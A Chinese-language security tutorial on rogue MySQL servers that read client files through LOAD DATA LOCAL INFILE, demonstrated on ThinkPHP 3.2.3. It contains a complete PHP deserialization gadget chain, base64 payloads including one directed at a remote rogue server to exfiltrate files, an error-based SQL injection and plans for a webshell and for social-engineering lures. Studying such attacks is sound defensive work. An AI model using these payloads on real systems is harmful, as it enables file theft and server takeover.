浅析MySQL恶意服务器读取文件原理
前言
注:本文不涉及对MySQL协议报文研究,仅讲解原理,并且做部分演示。
搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章。
原理
在阐述具体原理之前,先介绍几个SQL语句,以便后文理解
首先在tmp
目录下新建一个tmp.txt
内容如下:
然后执行下方SQL语句,即可将tmp.txt
文件导入其中
mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n'; Query OK, 3 rows affected (2.63 sec) Records: 3 Deleted: 0 Skipped: 0 Warnings: 0 mysql> select * from Test; +-------+ | name | +-------+ | admin | | user | | Lxxx | +-------+ 3 rows in set (0.00 sec)
load data local infile
语句会读取客户端本地的文件load data infile
语句会读取服务端本地的文件terminated by
表示以某某字符分割,默认为Tab
,这里我设置为了\n
这个时候可能就会绕不清楚,什么是服务端,什么是客户端?
因为一般情况下,调试SQL都是在本机,并且数据库也在本机,这样的情况就导致,客户端和服务端都是在本地,有点难区分,下面我用一张图来简述。
在本地,由于客户端和服务端都是在同一个磁盘下,因此,在本地,无论是否加local
都是可以将文件传入数据库的,而后面讲到利用MySQL恶意服务器读取文件的漏洞,就是需要使用local
,来达到将文件带出的目的。
下面我画了两张图,第一张图是正常业务流程,第二张图是攻击者恶意攻击的流程
正常的后端业务流程如下:
当攻击者劫持后端服务器,并且在公网中搭建恶意的MySQL后,流程图如下:
这样攻击者就可以在后端达到任意文件下载的目的。
演示
虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。
首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php
控制器中写一个反序列化入口
<?php namespace Home\Controller; use Think\Controller; class HelloController extends Controller {public function index($Lxxx){echo base64_decode($Lxxx);$a = unserialize(base64_decode($Lxxx));} }
具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。
首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在
HelloController
控制器中自己写了一个反序列化入口这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell
这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell
<?php namespace Think\Db\Driver{use PDO;class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件);protected $config = array("debug" => 1,"database" => "tp323","hostname" => "127.0.0.1","hostport" => "8889","charset" => "utf8","username" => "root","password" => "root");} } namespace Think\Image\Driver{use Think\Session\Driver\Memcache;class Imagick{private $img; public function __construct(){$this->img = new Memcache();}} } namespace Think\Session\Driver{use Think\Model;class Memcache{protected $handle; public function __construct(){$this->handle = new Model();}} } namespace Think{use Think\Db\Driver\Mysql;class Model{protected $options = array();protected $pk;protected $data = array();protected $db = null; public function __construct(){$this->db = new Mysql();$this->options['where'] = '';$this->pk = 'id';$this->data[$this->pk] = array("table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#","where" => "1=1");}} } namespace {echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }
上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19
传给url
可以看到报错注入成功
然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件,这里贴出几个连接,有些项目可能在新的MySQL版本中无法使用。
https://github.com/Gifts/Rogue-MySql-Server
GitHub - allyshka/Rogue-MySql-Server: MySQL fake server for read files of connected clients
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
下载好POC之后,修改一下要读取的文件名
然后利用Python
启动,启动完成后,恶意的MySQL就在监听3307端口
python rogue_mysql_server.py
接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子
<?php namespace Think\Db\Driver{use PDO;class Mysql{protected $options = array(PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件);protected $config = array("debug" => 1,"database" => "tp323","hostname" => "1.1.1.1","hostport" => "3307","charset" => "utf8","username" => "root","password" => "root");} } namespace Think\Image\Driver{use Think\Session\Driver\Memcache;class Imagick{private $img; public function __construct(){$this->img = new Memcache();}} } namespace Think\Session\Driver{use Think\Model;class Memcache{protected $handle; public function __construct(){$this->handle = new Model();}} } namespace Think{use Think\Db\Driver\Mysql;class Model{protected $options = array();protected $pk;protected $data = array();protected $db = null; public function __construct(){$this->db = new Mysql();$this->options['where'] = '';$this->pk = 'id';$this->data[$this->pk] = array("table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#","where" => "1=1");}} } namespace {echo base64_encode(serialize(new Think\Image\Driver\Imagick())); }
得到:
TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==
传给HomeController
控制器
然后就可以在远程VPS中的mysql.log
得到之前需要恶意下载的文件
现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了
使用场景
能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell)
能引诱用户连接恶意MySQL(社会工程学)
更多靶场实验练习、网安学习资料,请点击这里>>
浅析MySQL恶意服务器读取文件原理相关推荐
- 【网络安全】如何搭建MySQL恶意服务器读取文件?
前言 注:本文不涉及对MySQL协议报文研究,仅讲解原理,并且做部分演示. 搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱 ...
- 浅析Mysql InnoDB存储引擎事务原理
浅析Mysql InnoDB存储引擎事务原理 大神:http://blog.csdn.net/tangkund3218/article/details/47904021
- linux删除、读取文件原理
linux删除文件原理 LINUX的文件名是存在父目录的block里面,并指向这个文件额inode节点,这个文件的inode节点再标记指向存放这个文件的block的数据块.我们删除一个文件,实际上并不 ...
- 【ABAP系列】SAP ABAP 从FTP服务器读取文件到本地
公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[ABAP系列]SAP ABAP 从FTP服务器 ...
- linux服务器上的项目读取本地文件,java访问linux服务器读取文件路径
java访问linux服务器读取文件路径 内容精选 换一换 通过ADC将文件传输到Host.参见准备环境完成环境配置.以运行用户登录安装Toolkit组件的服务器.执行命令,将A.java文件传输到H ...
- vc 读服务器文件,vc从服务器读取文件
vc从服务器读取文件 内容精选 换一换 执行chmod -R 777 / 导致CentOS云服务器根目录权限设置成777,系统中的大部分服务以及命令无法使用.此时可通过系统自带的getfacl命令来拷 ...
- java 到服务器上读文件路径,java访问linux服务器读取文件路径
java访问linux服务器读取文件路径 内容精选 换一换 通过ADC从Host获取文件.参见准备环境完成环境配置.以运行用户登录安装Toolkit组件的服务器.执行命令,从Host获取B.java, ...
- FMS应用实例 - 从FMS服务器读取文件(图片/SWF/文本)到客户端
有时候我们希望从FMS服务器上获取指定的文件,再传送到服务端进行操作. 由于是文件操作,客户端我们很正常就会想到byteArray类,服务端使用File类. 另外~由于服务端必不支持ByteArray ...
- mysql 读取文件_关于mysql:逐行读取文件而不将整个文件加载到内存中
我正在使用50 Gb MySQL导出文件,并对其执行脚本操作列表以转换为SQLite3可加载形式(我从这里得到的线索:脚本将mysql dump sql文件转换为可以导入sqlite3的格式D b ) ...
最新文章
- 查看网关物理地址命令
- Java初学者疑难杂症之:一对一和一对多的关系
- Java总结篇系列:Java泛型
- 手把手讲解 Android Hook入门Demo
- 西安电子科技大学研究生计算机专业王宇平教授学生就业岗位,西安电子科技大学计算机学院导师信息情况...
- 机器学习(一)梯度下降算法的实现及过程分析
- mysql text 查询速度_数据库学习之让索引加快查询速度(四)
- ASP.NET Core MVC请求超时设置解决方案
- tolua中使用protobuf3—集成lua-protobuf
- 代谢组与微生物联合分析实战
- zen3 服务器芯片,7nm+工艺Zen3两线出击:EPYC服务器先发 锐龙5000紧跟
- 数据库实验八 数据库编程
- SAXReader解析器
- 一款用VBS编写的修仙风格打怪游戏
- STM32毕业设计项目
- keil 不能F12跳转到定义
- 自动化所夏令营数学概念复习
- 传奇开群服/公益服用什么服务器最好?
- Python爬取问卷星内容
- 22_ue4进阶末日生存游戏开发[EQS]
热门文章
- H5新特性有哪些?怎么理解语义化
- SQL grouping
- JDK8 日期时间相关 java.time.*
- 仙剑3安卓移植版_仙剑奇侠传3安卓版
- LSTM长短期记忆模型
- 关于onCreate(Bundle savedInstanceState, PersistableBundle persistentState)
- GoogleCode中git push密码错误提示解决方案(Invalid username/password)
- Android JNI之pthread_create的失败(1)
- Java并发编程实践之并发理论基础(一)
- Linux 解压缩Windows下zip和WinRAR的分卷文件(奇怪的知识点)